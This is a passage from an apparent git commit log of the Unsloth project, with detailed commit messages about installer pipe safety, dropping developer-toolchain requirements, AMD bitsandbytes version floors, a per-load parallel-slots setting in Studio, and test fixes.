after the installer's own message, which reads as a download failure rather than
the real diagnosis. 29 of the 35 exits are in the first half of the file, so every
early failure on every platform looked like a bad download.

Measured, piping this file into sh and forcing an early exit:

    before:  writer rc=141 (SIGPIPE)   reader rc=1
    after:   writer rc=0               reader rc=1

Through a real curl against a local server, curl rc went 23 -> 0 while the
installer's own exit code kept propagating.

Defining a function forces sh to parse to the closing brace before running
anything, so the pipe is always drained. install.ps1 has always had this shape
(Install-UnslothStudio invoked at the end of the file); this brings install.sh
into line.

Deliberately not reindented. Shell ignores leading whitespace, so the diff stays
two hunks instead of 4400 reflowed lines, and `exit` still exits the shell from
inside a function, so no control flow changes.

tests/sh/test_install_pipe_safety.sh pins both halves of the contract: the writer
must survive, and the installer's real exit code must still reach the caller. It
fails against the unwrapped file (writer rc=141).

* Tighten the pipe-safety comments

Compress the install.sh wrapper rationale and the test header down to the
parts that are not obvious from the code. Comments only, the parsed command
tree of both files is byte identical.

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-28 21:16:31 -07:00
Daniel Han
fa95054399
Gate the torchcodec audio extras to platforms that have a wheel (#7587) 2026-07-28 20:56:11 -07:00
Daniel Han
00646632bc
Tests: import bitsandbytes before the GPU-free harness spoofs CUDA (#7582)
* Tests: import bitsandbytes before the GPU-free harness spoofs CUDA

The CPU test harness patches torch.cuda.is_available to return True so
device_type.py's cache captures "cuda" on a GPU-less runner. bitsandbytes
reads the same flag at import time to decide whether to load its CUDA
backend, and that backend reads torch._C._cuda_getCurrentRawStream, which
a CPU-only torch build does not expose. An import landing inside the spoof
window therefore raises, Python drops bitsandbytes from sys.modules while
leaving its submodules cached, and every later import returns a module with
no .functional, so unsloth/kernels/utils.py dies at module scope.

Import bitsandbytes before the window so it stays on its CPU backend and
remains fully usable, rather than being degraded to unavailable.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 18:52:25 -07:00
Daniel Han
4f0cbf0d81
Desktop: ask before quitting on top of a running install (#7550)
* Desktop: ask before quitting on top of a running install

This is the trigger neither #7492 nor #7490 addresses -- both start from a venv
that is already broken. Confirmed: neither PR touches cleanup_child_processes.

Quitting runs cleanup_child_processes -> install::stop_install, which SIGTERMs the
installer's process group. In the reported session that landed at "5/10 studio
deps", so the venv kept the CLI's dependencies and lost the server stack, and the
next launch died on `import structlog`. Three minutes of installing, destroyed
with no warning and no way back.

So ask. Only from the tray Quit item -- a deliberate action with a UI present. The
RunEvent::Exit path (OS shutdown, SIGTERM) is left alone: it must never block on a
dialog nobody can answer. The call already runs off the menu callback thread,
which is also what blocking_show requires.

Closing the window was already safe (it hides to tray); this closes the remaining
way to lose an install by accident.

* Tighten comments in desktop quit-during-install guard

* Condense comments in quit-during-install guard

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-28 18:52:00 -07:00
Daniel Han
df63522369
Installer: stop requiring a developer toolchain on the consumer path (#7547)
* Installer: stop requiring a developer toolchain on the consumer path

A brand new Mac cannot install Studio at all. install.sh gates on
`xcode-select -p` and exits 1 with 'Xcode Command Line Tools are required',
and Linux exits 1 on any non-apt distro over cmake/gcc/git/libcurl headers.

Nothing under either gate needs a toolchain. uv is a prebuilt binary, CPython
comes from uv's managed python-build-standalone, llama.cpp and whisper.cpp are
prebuilt downloads, Node is a pinned nodejs.org archive, and triton is skipped on
macOS. unslothai/llama.cpp b10107-mix-1911198 publishes macos-arm64, macos-x64,
linux-x64 and linux-arm64 builds covering cpu, cuda12, cuda13, rocm and vulkan.
PR #6617 already dropped the Homebrew/cmake stop on macOS for this reason and
just left the CLT stop behind.

macOS: warn and continue when the CLT are absent. Linux: only a download
transport (curl or wget) is fatal; build tooling warns. Both keep a hard git
requirement for --local, which installs unsloth-zoo from a git+https URL.

Both gates move into functions so tests/sh can extract them. The old inline form
could not be reached by the tests/sh convention, which is why this shipped broken
and stayed broken. test_macos_clt_gate.sh (19 assertions) and
test_linux_deps_gate.sh (25) cover the clean machine, the CLT-stub shape where
/usr/bin/git exists but fails, the non-apt distro, and the --local paths.

Writing the Linux test caught a latent bug: the gate trimmed its list with
$(echo ... | sed ...), so on a minimal image without sed the substitution yields
empty and it reports 'all system dependencies found' on a machine with none of
them. Replaced with parameter expansion.

Also caps av<16 in the single-env constraints. av 16+ ships no cp313 macOS arm64
wheel, and it is a C extension over FFmpeg, so uv would silently fall back to a
source build needing both a compiler and FFmpeg headers.

Verified on GitHub-hosted macOS runners with /var/db/xcode_select_link,
/Library/Developer/CommandLineTools, /Applications/Xcode*.app and Homebrew moved
aside. macos-14, macos-15 and macos-26 fail on main and install cleanly with
this; the recorded tool-invocation trace for the whole install is a single
`xcode-select -p`, so nothing compiled and nothing installed a toolchain.

* Linux: auto-install git rather than dropping it, and skip triton kernels without it

Making git optional on Linux was too broad. studio/backend/requirements/
triton-kernels.txt line 2 is a git+https URL, so step 6/14 died with 'Cannot find
command git' and failed the whole setup on ubuntu2404-root, ubuntu2404-arm-root
and fedora41, all of which had been passing. The claim that nothing on the
consumer path needs git holds on macOS, where triton is skipped, but not here.

install.sh now auto-installs git through apt with the other optional tooling, so
Debian and Ubuntu are unchanged. The triton kernels step skips with a message
when git is absent instead of failing: they are a training speedup, not a boot
requirement, and a GGUF chat install has no use for them.

Six more assertions pin both halves.

* macOS Intel: skip the one package with no x86_64 wheel

The Intel clean-machine leg installed with the toolchain masked, then died in
studio setup:

    subprocess.CalledProcessError: Command '['cmake', ...]' returned non-zero
    ERROR: Failed building wheel for pytorch_tokenizers

pytorch_tokenizers publishes wheels for macOS arm64, linux x86_64, linux aarch64
and windows, but none for macOS x86_64 at any Python version, so uv falls back to
an sdist that shells out to cmake. Nothing passes --only-binary, so the
compiler-free property was an assumption rather than a contract, and Intel is
where it broke.

Marked so it installs everywhere except Intel macOS. Apple Silicon is unaffected.

* Stop the optional dep gate from aborting the install

_smart_apt_install exits rather than returns, and `|| true` does not catch an
exit, so a box missing cmake or git aborted at the gate added to let it
continue. Verified in sh, dash and bash. Run it in a subshell and re-raise only
code 2, the NEED_SUDO handshake install.rs answers with an elevation prompt.

install.sh treats a present-but-broken git as missing, but the Python side
tested only shutil.which, so it promised to skip the git+https triton
requirement and then fetched it anyway. Same check on both sides now.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Never elevate for optional build tools

Re-raising code 2 turned the optional set into a NEED_SUDO handshake, so a box
missing cmake or gcc got the desktop's mandatory permission dialog, whose Cancel
drops back to not-installed. That re-imposes through a prompt the build-tool
requirement this gate removes, and none of those tools are needed to run.
Suppress the handshake for optional callers; a required package still elevates.
Verified in sh, dash and bash.

Also advance the progress bar on the no-git triton skip, which otherwise ends at
14/15.

* Tighten the comments on the dependency gate

* Correct why the PyAV cap is needed

16.0.0 does ship cp313-cp313-macosx_14_0_arm64; the comment claimed no cp313
wheel exists. The actual reason is the deployment target: 15.1.0 is macosx_13_0
and 16+ is macosx_14_0, so the cap is what keeps macOS 13 off a source build.

* Tighten the installer gate comments

* Cap cryptography on x86_64 macOS so the consumer install needs no Rust

cryptography 49.0.0 (2026-06-12) dropped the macosx_10_9_universal2 wheel
and now ships macosx_11_0_arm64 only, so x86_64 macOS has no wheel and uv
falls back to the sdist. That build calls maturin, which pulls Rust and
then fails at 'linking with cc failed' on a clean Mac without the Xcode
Command Line Tools. It surfaced in the clean-machine leg mac macos-15-intel
/ mask / file, several minutes into the studio dependency step, which is
exactly the up-front toolchain requirement this branch removes.

48.0.1 is the newest release carrying a universal2 wheel, and its
cp39-abi3 / cp311-abi3 tags cover the 3.12 and 3.13 interpreters the
installer creates. The cap is marker-scoped to darwin + x86_64, so arm64
macOS and every other platform still resolve to the latest. Lift it when
cryptography ships an x86_64-capable macOS wheel again.

Resolution of studio/backend/requirements/studio.txt under this
constraints file gives 48.0.1 on x86_64-apple-darwin and 49.0.0 on
aarch64-apple-darwin and x86_64-unknown-linux-gnu, on both 3.12 and 3.13.

* Correct the av note now that cryptography also compiles on macOS

* Never escalate for optional apt packages outside Tauri mode

The optional bypass sat inside the TAURI_MODE branch, so a plain curl | sh
install on a non-root Debian or Ubuntu box still fell through to the
escalation branch and showed the default-yes permission prompt for cmake,
GCC and the libcurl headers. That is exactly the toolchain this change set
declared unnecessary on the consumer path, so the prompt asked for a
password to install packages nothing here uses, and a headless run failed
the same way instead of falling through to prebuilt llama.cpp.

Move the check above the mode split so optional callers return 2 in both
modes. Required packages such as curl still escalate unchanged.

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 18:50:38 -07:00
Daniel Han
9e2fc49851
Studio: free the llama-server slot when a chat stream reaches [DONE] (#7564)
* Studio: free the llama-server slot when a chat stream reaches [DONE]

* Release the slot before yielding, only on a completed decode

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten the comments added by this PR

* Inline the done-sentinel check and use plain bools for the decode flags

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 18:34:00 -07:00
Daniel Han
570c804785
Studio: surface the tool-call nudge in the chat UI (#7559)
* Studio: show a Nudging tool calls badge while the tool-call re-prompt runs

* Guard the nudge status ordering assertion against index 0

* Tighten the nudge status comments

* Announce the nudge text instead of the generic spinner label

* Trim the nudge status comments

Collapse the multi-line notes to fewer lines and drop one that restated the assert below it. The blank-before-badge ordering reason and the keep-in-sync contract are preserved.

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-28 18:20:50 -07:00
Daniel Han
a0a3a7b24a
fix(studio): show the current artifact's source after switching artifacts (#7565)
* fix(studio): show the current artifact's source after switching artifacts

The canvas source view feeds one Streamdown a fence built from the selected
artifact's code, but never keys it. Streamdown does not revise a block it has
already committed, so the panel keeps rendering the previous artifact's source.
Key the source view on the artifact ID plus a hash of its code: tool artifact
IDs are derived from the tool call, not the code, so the ID alone does not
change when a tool artifact is updated in place.

* Name the real root cause and make the source-key test load-bearing

The remount is needed because Streamdown memoizes a fenced code block on its
hast node's line/column span, which ignores the text inside the fence, so two
canvases of equal line count compare equal and the old source stays on screen.
Verified in Chromium against streamdown 2.5.0: unkeyed, 70 lines -> 70 lines
renders the previous artifact, 70 -> 71 and 70 -> 90 render correctly.

Move the key expression into the source branch so it costs nothing while the
artifact is streaming and the view is unmounted, and export the helper from
types.ts so the test exercises the shipped code instead of a local copy of the
formula (it passed before even with the key removed from the component).

* Assert the source view's Streamdown key wiring, not just the helper

The suite exercised buildArtifactSourceKey but never the component, so deleting
key={buildArtifactSourceKey(artifact)} from the Streamdown left every test
green. There is no DOM renderer available to these tests, so parse
artifact-surface.tsx with the TypeScript compiler API (already a devDependency)
and assert the source view's Streamdown carries that key.

Mutation-checked: removing the key fails 1 test, swapping it for artifact.id
fails 1, and making the helper ignore code fails 2.

* Tighten the comments added by this PR
2026-07-28 18:19:39 -07:00
Leo Borcherding
411cb86d62
amd: require bitsandbytes>=0.50.0 in the amd extra (fixes ROCm 4-bit NaNs) (#7535)
* amd: require bitsandbytes>=0.50.0 in the amd extra

bnb <= 0.49.2 NaNs at decode shape on every AMD GPU. The ROCm 4-bit GEMV
fix (bnb PR #1887) first ships in 0.50.0, on PyPI since 2026-07-24, so the
old >=0.49.1 floor could still resolve the broken range.

Mirrors the same change made on the pip release branch in #7278.

* amd: cite the 0.50.0 ROCm work accurately in the bnb floor comment

The comment credited bnb PR #1887 as "the ROCm 4-bit GEMV fix" for every
AMD GPU. #1887 decouples blocksize from warp size and fixes a hardcoded
warp size of 32 in kgemm_4bit_inference_naive, which is a CDNA problem by
construction. The RDNA-side work is #1979 (fused 4-bit SIMT GEMM) and
#2012 (RDNA3/4 workgroup resonance). All three first ship in 0.50.0, so
the >=0.50.0 floor is unchanged; only the justification was wrong.

* amd: raise the installer bitsandbytes fallback floors to 0.50.0

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* amd: stop reporting the bitsandbytes PyPI fallback as broken

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten AMD bnb floor comments

* Keep the amd extra citation and the AMD install guide reference

* amd: do not promise aarch64 a ROCm 4-bit backend it never gets

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* amd: fall back to the PyPI bitsandbytes floor on Windows ROCm too

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 18:12:26 -07:00
Daniel Han
85c63e7903
Studio: honour LLAMA_ARG_FLASH_ATTN when recording the launched flash-attention state (#7557) 2026-07-28 18:08:47 -07:00
Daniel Han
ddb9344808
Route the stale-manifest abort through Exit-SetupFailure (#7570) 2026-07-28 18:07:20 -07:00
Kirelos Namroud
150b5ba25a
feat(studio): adjustable llama-server parallel slots from the web UI (#7447)
* feat(studio): share the llama-server --parallel bounds as PARALLEL_MIN/MAX

The per-load parallel-slots field needs the same 1..64 range the CLI flag
validates, but models/inference.py cannot import run.py (run.py builds the
app that imports routes that import models). Promote the bounds into this
dependency-free module, which already owns the -np/--parallel semantics, and
record the deliberate mirrors that cannot import it (run.py, the unsloth CLI,
the web UI). The denylist entry stays: the first-class field is now the single
write path for the slot count, so a pass-through would still desync the
committed bookkeeping from llama-server.

* feat(studio): note the per-load override in the --parallel help text

--parallel is now the server-wide default that a per-load n_parallel (the
Studio Parallel Slots run setting) can override, not the definitive slot
count. Point at the new control so a user does not conclude a restart is the
only way to change slots, and record the shared PARALLEL_MIN/MAX mirror
alongside the existing CLI one.

* feat(studio): add n_parallel to LoadRequest and echo the slot counts

LoadRequest.n_parallel (optional, PARALLEL_MIN..PARALLEL_MAX) lets a load pick
its own llama-server --parallel count; omitted, the server-wide launch default
applies. ValidateModelRequest carries it too so the training-coexistence
estimate sizes the KV cache like the follow-up load rather than passing on a
smaller footprint.

LoadResponse and InferenceStatusResponse gain both requested_parallel_slots
(what the load was invoked with) and parallel_slots (what llama-server
actually runs after the fitter's slot reduction), so a client can tell an
honored request from a reduced one. Both are None where --parallel has no
meaning: non-GGUF loads and the diffusion runner.

* feat(studio): record the requested parallel-slot count on the backend

The auto GPU-memory fit may launch fewer slots than requested to keep the
model fully on GPU, so the committed effective count cannot answer "is the
live server what this request asked for?". Store the invoked count separately
(mirroring the _requested_n_ctx pattern) from the pre-reduction pending
kwargs, expose it as requested_parallel_slots, and have _already_in_target_state
compare requested-vs-requested: comparing against the effective count would
reload -- and re-reduce -- forever on an identical Apply.

The comparison sits in the non-diffusion branch, since the diffusion runner
ignores --parallel entirely. The requested value shares the effective count's
lifecycle, so every unload/kill path clears it and a stale count cannot
poison the next load's dedupe.

* feat(studio): honor a per-load parallel-slot count in /load and /validate

Resolve the slot count once per load -- the request field if set, else the
server-wide launch default -- and feed it to every consumer that must agree:
the training-coexistence guard, the llama-server load kwargs, and the reload
dedupe. Without the dedupe comparison a changed slot count would be swallowed
as already_loaded; it compares requested-vs-requested and skips the diffusion
runner, which ignores --parallel.

app.state.llama_parallel_slots is deliberately never written: it stays the
launch intent and the admission-queue fallback, so one load's override cannot
leak into later loads. /validate resolves the same way so its estimate cannot
undercount what the load then allocates.

Both /load returns and /status echo the counts through one helper, which
reports None for diffusion -- its load never commits a count, so echoing the
reset placeholder would fabricate an "invoked with 1 slot".

* feat(studio): accept nParallel in the chat-preset load config

ChatPresetLoadConfig is extra="forbid", so a preset carrying the new parallel
slots knob would 422 the whole settings sync without this field. Bounds come
from the shared PARALLEL_MIN/MAX rather than literals, so a future range
change cannot start rejecting presets the UI still allows.

* test(studio): cover the per-load parallel-slots knob

Pins the behaviors a regression would silently break: the requested-vs-effective
dedupe (comparing against the reduced count would reload forever), the diffusion
skip and its None echo, the requested count's reset lifecycle, and its commit
from the pre-reduction pending kwargs.

Also pins the three bounds mirrors that cannot import PARALLEL_MIN/MAX (run.py,
the unsloth CLI, the web UI) plus the preset model that can, so a range change
cannot leave one of them clamping or rejecting at the old limit.

* test(studio): refresh the --parallel denylist comments for the UI knob

The pinned rationale said the typer flag owns the slot count and pointed users
at a Studio restart. Parallel Slots / LoadRequest.n_parallel is now the other
managed writer, and the 1..64 guard is the shared PARALLEL_MIN/MAX -- a reader
following the old comments would conclude the UI control does not exist.

* feat(studio): note the per-load override in the CLI --parallel help

Both the plain-serve and `unsloth studio run` flags now describe a server-wide
default the Studio Parallel Slots run setting can override per load, matching
the backend help text.

* feat(studio): remember a per-model Parallel Slots override

nParallel joins the per-model config with the same null-means-follow-the-default
convention as the other knobs: null keeps the server-wide --parallel count, so
a blank control never pins a number and isDefaultConfig still deletes an
otherwise-untouched config instead of storing it.

The value is re-clamped to N_PARALLEL_MIN/MAX on every localStorage read and
write (the store is user-editable), and listing it in STORED_CONFIG_FIELDS
keeps it from being dropped as an unknown key. Legacy blobs predate the knob,
so their migration carries null. No schema-version bump: an additive optional
field, like the GPU fields before it.

* feat(studio): bridge nParallel between the per-model config and the store

The config->store, store->config and equality helpers all need the new field:
without the equality arm a slots-only edit reads as unchanged, so Apply is
dropped and the dirty state never lights up.

* feat(studio): track the parallel-slot override in the chat runtime store

nParallel holds the editable override and loadedNParallel the value the last
successful load sent, which the failed-switch rollback re-sends. Both are
per-model: they clear on unload and on a model switch, unlike the standing
preferences (GPU memory mode, speculative type) that survive one.

There is deliberately no backend-echo field for the control: the echo is the
resolved count, so adopting it would pin a blank "follow the server default"
input to an explicit number.

* feat(studio): type n_parallel and the slot-count echoes

The load request gains the optional per-load slot count, and both the load
response and the status payload gain requested_parallel_slots (invoked) and
parallel_slots (actually running after the fitter's reduction). Keys stay
snake_case: the payload is serialized as-is, with no case conversion.

* feat(studio): forward n_parallel to the validate preflight

validateModel builds its own body rather than forwarding the load payload, so
the slot count has to be listed explicitly. Slots scale the KV estimate, and
the preflight exists to refuse a load the training guard would then 409 -- an
unforwarded count would validate a smaller footprint than the load allocates.

* feat(studio): include nParallel in the active model's config

The sidebar assembles the active model's config from individually subscribed
store fields; an unsubscribed field would leave the form showing a stale value
after any external change.

* feat(studio): add the Parallel Slots control to the run settings

A numeric input in the GGUF advanced section, blank meaning "follow the server
default". It clamps on change like the Draft Tokens field rather than using
NumericValueInput, so there is no blur-draft to lose when the user types a
value and immediately clicks Load.

hasNonDefaultAdvanced counts it too, so a remembered override reopens the
advanced section instead of hiding the setting that is actually in effect.

* feat(studio): key the sidebar config form on nParallel too

The signature drives the remount that re-seeds the form; without the new field
an externally changed slot count would leave the sidebar showing the old one.

* feat(studio): send the Parallel Slots override on load

performLoad snapshots the slot count at click time (staged run-settings config
first, else the store) and sends it on both the validate preflight and the
load, so the two size the same footprint. A cross-model switch re-baselines it
like the other per-model knobs -- the previous model's count must not follow
onto the next one -- and the failed-switch rollback re-sends the previous
model's value so a rescue reload cannot silently drop to the server default.

The success path keeps the click-time value rather than the response echo: the
echo is the count the fitter resolved, so adopting it would turn a blank
"follow the server default" control into an explicit pin. Slots are GGUF-only,
so a transformers load sends and records null instead of a phantom override.

* feat(studio): carry the slot override through the compare-pane load

The compare pane builds its own load request, so it needs the field explicitly
or a pane with a remembered override would load at the server default. Its
validate preflight sends the same count, matching the comment above it that
promises validation is sized exactly as the load below.

GGUF-gated on both calls, and the store adopts the pane's own click-time value
rather than the resolved echo, mirroring the single-model path.

* feat(studio): honor the remembered slot override on startup auto-load

The auto-load path reads the per-model config and forwards every other
remembered knob, so a remembered Parallel Slots value was the one setting lost
on the "load last used model" path: llama-server came back at the server-wide
default with the control showing blank, and the first manual Apply afterwards
then forced a needless reload because the counts disagreed.

* feat(studio): seed the slot baseline from the status echo

Only the rollback baseline is seeded, never the editable control: the echo is
the resolved count, so adopting it would pin a blank "follow the server
default" input to a number. Without the seed, loadedNParallel stayed null
after a tab reload or a second tab adopting the running model, and a failed
switch then rolled the previous model back at the server default while every
other knob was restored.

* feat(studio): capture Parallel Slots in chat presets

The knob joins the preset load config end to end: captured from the store,
re-clamped when read back (persisted presets are untrusted input), applied on
switch, and summarized in the preset chip. Its default is null, so
coalesceDefaultLoadKnobs keeps a default-only preset empty rather than
persisting a no-op override.

* feat(studio): re-derive the preset state when Parallel Slots changes

Both preset memos snapshot the store through capturePresetLoadConfig, so
without the new dependency a slots-only edit left the unsaved-changes flag and
the load summary showing the previous value.

* test(studio): pin the Parallel Slots wiring end to end

Source-contract coverage for the hops a refactor can silently drop: the three
/load builders (interactive, compare pane, startup auto-load) and their
validate preflights, per-model persistence and clamping, the UI row, and the
status seed -- including the negative assertion that hydration seeds only the
rollback baseline, never the control, so the resolved echo cannot pin a blank
"server default" input.

* test(studio): pin nParallel in the preset load config

Covers capture, clamped read-back and apply on the frontend, plus the backend
field itself: ChatPresetLoadConfig is extra="forbid", so a missing or drifted
field 422s every settings sync that carries a preset.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fall back to one slot when llama-server lacks --kv-unified for PR #7447

Without --kv-unified an explicit --parallel N makes llama-server give each slot -c/N, so on a build without the flag choosing N slots silently shrinks every context window for a feature that build cannot serve. Clamp to one slot and log why, placed after the requested count is captured so the echo still reports it and before the KV estimates so the fit matches what actually launches.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Clear the slot control on load paths that never send it, and size the training guard for diffusion

Four review findings on the per-load Parallel Slots knob.

The editable nParallel control means "follow the server default" when null, so
any success path that does not send a slot count has to clear it. Three paths
kept a value staged for a different model:

- chat-adapter.ts, cached non-GGUF auto-load: the interactive and compare
  builders already clear both fields for a non-GGUF response, this third one
  did not. The field never renders for a non-GGUF target, so the stale count
  was invisible and unclearable from the UI yet still persisted, and it flips
  isDefaultConfig so a user with no overrides silently gets a stored entry.
- chat-adapter.ts, fresh-model fallback: its request omits n_parallel but its
  success state resynced every other knob and left the slots alone, so a staged
  edit survived against a server running the default and the next Apply
  reloaded at a count that load never sent.
- apply-inference-status-to-store.ts: on a model change underneath the tab
  every sibling knob adopts the new model's status, but nParallel updated only
  its baseline, so the previous model's explicit count followed onto the new
  model and saving or reloading there pinned it. Clear the control and keep
  seeding the baseline for the rollback.

The training-coexistence guard sized a diffusion GGUF with the requested slot
count. _estimate_kv_cache_bytes scales the SWA cache with slots
(swa_limit = swa * slots + ubatch), but load_model hands a diffusion target to
_start_diffusion_server before the slot plumbing, so that runner is always
single-slot. At the new default of 4 this inflated the estimate and could 409 a
load that fits. An unclassified GGUF keeps the requested count.

Backend base KV depends on -c alone, not on --parallel, which is why only the
SWA term is affected: llama.cpp PR 14363 and discussion 4130.

Tests: three training-guard cases in test_parallel_slots_per_load.py and one
source contract in test_model_picker_contracts.py, each mutation-checked.
174 passed across the backend slot/admission/training suites, 56 across the
frontend contract suites.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep the slot control when re-adopting the running model, and never record slots for a diffusion load

Two follow-ups from the latest review round.

The first is a regression from c796393. That commit cleared the slot control
whenever hydratingExistingModel was set, to stop model A's count following onto
model B. But that flag is also set on the resident-model adopt path: when the
store checkpoint is an external provider id and the user re-picks the still
loaded local model, applyActiveModelStatusToStore is called with the external
id as previousCheckpoint, so the flag is unconditionally true. The clear then
wiped the config applyPerModelConfigToRuntime had restored two lines earlier,
and it was the only knob that did, because the siblings re-adopt the status
echo while this one cleared. Gate the clear on the tab's own baseline no longer
matching the running count: a genuine A to B swap still clears, re-adopting the
same model keeps its value.

The second revises an earlier call of mine. I rejected the diffusion phantom as
cosmetic because the backend ignores the value on every send. The sharpened
report is right and my rejection was wrong: capturePresetLoadConfig records
nParallel with no model gate, a Preset carries no model id, and applying one
writes nParallel for whatever model is current. So a count recorded against a
diffusion model, which the backend never applied, rides a saved preset onto a
text GGUF and becomes a real override the user never chose. Record slots only
when the load actually committed them, on all three load builders.

Tests: two source contracts in test_model_picker_contracts.py, both mutation
checked. Frontend typecheck clean, 58 passed across the contract and preset
suites.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Clear the slot baseline when status reports a model without slots

Hydrating from a GGUF to a slotless model left loadedNParallel at the previous
model's count: the seed only runs when the echo is non-null, and the control
clear added earlier touches nParallel alone. The stale baseline is what a
failed-switch rollback re-sends, and preset capture reads it, so it could claim
slots for a model that never used them.

Clear it when status describes a model that cannot have slots. /status omits
the echo entirely for non-GGUF and sends an explicit null for the diffusion
runner, so keying on is_gguf === false or an explicit null covers both while an
absent field on a GGUF, which is how an older backend reports one, still leaves
the baseline alone.

Test mutation checked; frontend typecheck clean against a fresh npm ci.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Distinguish a same-model re-adopt from a model swap, and size the training guard at the slots that launch for PR #7447

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep the blank slot control across a failed-switch rollback for PR #7447

* Restore a remembered slot override when hydrating a fresh store for PR #7447

* Tighten comments for PR #7447

* Restore a remembered slot override on a model switch too for PR #7447

* Tighten comments and docstrings for PR #7447

* Take the rollback slot intent from the picker's pre-switch snapshot for PR #7447

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-28 18:03:28 -07:00
Vineeth Sai Varikuntla
7ac75c6572
Parse a .json dataset file as one JSON document instead of line-by-line (#7422)
---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
2026-07-28 21:40:43 -03:00
Vineeth Sai Varikuntla
31969053d8
Cover the FP8 row-scaling path in the newer-mapper probe (#7516)
* Pin the newer-mapper FP8 probe with tests that can fail

The two identity assertions added in #7478 compare the returned FP8 tables
against the installed ones, but the fixture serves the same mapper.py as both
the installed and the fetched source and exec always allocates fresh dicts, so
they pin allocation rather than provenance and hold for any new dict.

Replace them with two tests that drive get_model_name end to end: one splices an
FP8 entry into the fetched source only and asserts the upgrade error still fires,
the other serves a mapper.py with no FP8 tables and asserts the 4bit half of the
probe survives, which is the regression #7497 fixed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten the resolver stub for PR #7516

- Restore the fp8_block/fp8_row identity assert alongside the new provenance
  test. It is weak, not vacuous: it still catches a probe that hands back the
  installed table objects, and it costs nothing to keep.
- Bind Version and transformers_version in the stub namespace. Both are
  unreached under the current gates, so a change to either would fail with a
  bare NameError instead of the assertion.

Merged main, which clears the unrelated test_runtime_text_encoding failure the
branch inherited from its base.

* Cover the FP8 row-scaling path instead of duplicating the block one

The two tests this PR originally added were already covered by
tests/test_new_mapper_fetched_fp8.py from #7497. An 8-mutant matrix over
loader_utils.py found nothing they caught that the existing file did not, so
they are dropped and test_new_mapper_no_global_leak.py goes back to main.

Two real gaps were open, both on the row branch that load_in_fp8 = True plus
UNSLOTH_HAS_FBGEMM selects ahead of block:

- the FBGEMM row branch in __get_model_name could be deleted outright with
  every test still green
- _resolve_with_mappers could ignore its fp8_row argument and silently fall
  back to the installed row table

Adds two tests to the existing file, reusing its _load_resolver rather than a
second harness. The row-only fixture splices into the fetched row table alone,
since an entry the block table also knows lets the block branch answer and
masks the regression.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-28 16:13:00 -07:00
Nilay
036fa60095
Studio: pass raise_on_error=False on the stdio MCP call path (#7517) 2026-07-28 19:41:47 -03:00
JoshuaL3000
e662af769b
fix: enable XPU support and update hardcoded CUDA selections for tests (#7401)
* fix: add XPU device support and update hardcoded CUDA selections

* fix: add XPU device support for pytest CUDA skipped tests

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix device handling for PR #7401

- perplexity_eval.py: use DEVICE_TYPE_TORCH, not DEVICE_TYPE. The latter can
  be "hip" or "mlx", which .to() rejects, so this regressed ROCm.
- test_batched_leftpad_generation_gpu.py: XPU diverges here today, so mark it
  non-strict xfail on XPU instead of reverting to a CUDA-only guard. Keeps the
  real XPU gap visible and turns green once it is fixed.
- Guard torch.xpu.is_available() with hasattr, matching device_type.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Re-enable the flash varlen attention test in CI for PR #7401

attention_dispatch.py now predefines flash_attn_func / flash_attn_varlen_func
as None, so test_run_attention_flash_varlen_receives_window_and_softcap no
longer needs flash_attn importable to be monkeypatched. Verified on a runner
shaped like the CPU-only one: the test fails against main's attention_dispatch
and passes at this head, so the deselect is now dead weight.

* Tighten comments for PR #7401

Drop the hasattr rationale: torch.xpu has existed since torch 2.3 and the
dependency floor is 2.4, so no supported build predates the namespace. The
guard stays as cheap defence, but the comment claimed something untrue.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-28 15:38:57 -07:00
Daniel Han
767f2f36fb
